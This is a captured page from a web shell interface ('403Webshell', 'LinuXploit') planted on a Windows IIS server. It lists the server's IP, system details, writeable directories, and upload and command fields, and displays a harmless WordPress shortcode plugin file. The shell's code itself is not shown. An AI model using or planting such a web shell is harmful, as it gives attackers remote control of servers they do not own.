403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.127
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/engineering/wp-content/plugins/shortcodes-ultimate/includes/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/engineering/wp-content/plugins/shortcodes-ultimate/includes/shortcodes/media.php
<?php

su_add_shortcode(
	array(
		'id'         => 'media',
		'callback'   => 'su_shortcode_media',
		'deprecated' => true,
		'hidden'     => true,
	)
);

function su_shortcode_media( $atts = null, $content = null ) {

	$atts = shortcode_atts(
		array(
			'url'    => '',
			'width'  => 600,
			'height' => 400,
			'class'  => '',
		),
		$atts,
		'media'
	);

	if ( strpos( $atts['url'], 'youtu' ) !== false ) {
		return su_shortcode_youtube( $atts, $content );
	} elseif ( strpos( $atts['url'], 'vimeo' ) !== false ) {
		return su_shortcode_vimeo( $atts, $content );
	} else {
		return '<img src="' . esc_attr( $atts['url'] ) . '" width="' . esc_attr( $atts['width'] ) . '" height="' . esc_attr( $atts['height'] ) . '" style="max-width:100%" />';
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit